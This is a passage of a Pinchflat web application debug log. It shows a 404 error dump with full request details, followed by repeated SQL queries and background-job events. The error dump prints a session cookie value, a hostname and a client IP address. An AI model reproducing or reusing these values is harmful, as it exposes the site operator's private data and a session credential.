~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163874.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/sync_files_on_disk", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 47186}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.117.45", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.117.45" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/sync_files_on_disk (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163874.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/sync_files_on_disk", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 47186}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.117.45", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.117.45" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.163875.0>, params: %{}, path_info: ["sources", "3", "sync_files_on_disk"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Rou (truncated) 18:56:17.676 [info] {"source":"oban","duration":1278,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:56:23.426 [info] GET / 18:56:23.426 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 18:56:23.426 [debug] QUERY OK source="settings" db=0.1ms idle=1130.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:23.426 [debug] QUERY OK source="media_profiles" db=0.0ms idle=644.3ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 18:56:23.427 [debug] QUERY OK source="sources" db=0.1ms idle=644.5ms SELECT count(s0."id") FROM "sources" AS s0 [] 18:56:23.427 [debug] QUERY OK source="media_items" db=0.5ms idle=644.8ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 18:56:23.428 [debug] QUERY OK source="media_items" db=0.5ms idle=130.8ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 18:56:23.428 [debug] QUERY OK source="settings" db=0.2ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:23.429 [debug] QUERY OK source="settings" db=0.2ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:23.429 [debug] QUERY OK source="settings" db=0.1ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:23.430 [debug] QUERY OK source="tasks" db=0.2ms idle=2.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 18:56:23.431 [debug] QUERY OK source="media_items" db=0.2ms idle=2.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 18:56:23.431 [debug] QUERY OK source="media_items" db=0.2ms idle=2.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 18:56:23.432 [debug] QUERY OK source="sources" db=0.1ms idle=2.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [2, 3] 18:56:23.433 [debug] QUERY OK source="media_items" db=0.6ms idle=3.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 18:56:23.434 [debug] QUERY OK source="media_items" db=0.8ms idle=3.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 18:56:23.435 [info] Sent 200 in 9ms 18:56:47.678 [info] {"source":"oban","duration":1032,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:57:00.153 [info] {"source":"oban","duration":181,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:57:11.970 [info] GET / 18:57:11.970 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 18:57:11.970 [debug] QUERY OK source="settings" db=0.1ms idle=1187.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:57:11.970 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1188.2ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 18:57:11.971 [debug] QUERY OK source="sources" db=0.1ms idle=1188.4ms SELECT count(s0."id") FROM "sources" AS s0 [] 18:57:11.971 [debug] QUERY OK source="media_items" db=0.3ms idle=611.2ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 18:57:11.972 [debug] QUERY OK source="media_items" db=0.2ms idle=189.4ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 18:57:11.972 [debug] QUERY OK source="settings" db=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:57:11.972 [debug] QUERY OK source="settings" db=0.1ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:57:11.973 [debug] QUERY OK source="settings" db=0.1ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:57:11.973 [debug] QUERY OK source="tasks" db=0.1ms idle=1.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 18:57:11.974 [debug] QUERY OK source="media_items" db=0.1ms idle=2.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 18:57:11.974 [debug] QUERY OK source="media_items" db=0.3ms idle=2.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 18:57:11.975 [debug] QUERY OK source="sources" db=0.1ms idle=2.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [2, 3] 18:57:11.977 [debug] QUERY OK source="media_items" db=0.6ms idle=3.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 18:57:11.978 [debug] QUERY OK source="media_items" db=0.9ms idle=3.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 18:57:11.978 [info] Sent 200 in 8ms 18:57:13.029 [info] GET / 18:57:13.029 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 18:57:13.030 [debug] QUERY OK source="settings" db=0.1ms idle=1055.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:57:13.030 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1054.9ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 18:57:13.030 [debug] QUERY OK source="sources" db=0.0ms idle=1053.4ms SELECT count(s0."id") FROM "sources" AS s0 [] 18:57:13.031 [debug] QUERY OK source="media_items" db=0.3ms idle=1052.5ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 18:57:13.031 [debug] QUERY OK source="media_items" db=0.2ms idle=670.1ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 18:57:13.031 [debug] QUERY OK source="settings" db=0.1ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:57:13.031 [debug] QUERY OK source="settings" db=0.1ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:57:13.032 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:57:13.033 [debug] QUERY OK source="tasks" db=0.1ms idle=1.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 18:57:13.033 [debug] QUERY OK source="media_items" db=0.1ms idle=1.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 18:57:13.034 [debug] QUERY OK source="media_items" db=0.2ms idle=1.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 18:57:13.034 [debug] QUERY OK source="sources" db=0.1ms idle=2.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [2, 3] 18:57:13.036 [debug] QUERY OK source="media_items" db=0.6ms idle=3.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 18:57:13.037 [debug] QUERY OK source="media_items" db=0.8ms idle=3.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 18:57:13.038 [info] Sent 200 in 8ms 18:57:17.680 [info] {"source":"oban","duration":1244,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:57:23.849 [info] GET / 18:57:23.849 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 18:57:23.850 [debug] QUERY OK source="settings" db=0.1ms idle=1067.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:57:23.850 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1067.7ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 18:57:23.850 [debug] QUERY OK source="sources" db=0.1ms idle=1067.9ms SELECT count(s0."id") FROM "sources" AS s0 [] 18:57:23.851 [debug] QUERY OK source="media_items" db=0.4ms idle=1068.2ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 18:57:23.851 [debug] QUERY OK source="media_items" db=0.4ms idle=475.1ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 18:57:23.852 [debug] QUERY OK source="settings" db=0.1ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:57:23.852 [debug] QUERY OK source="settings" db=0.1ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", 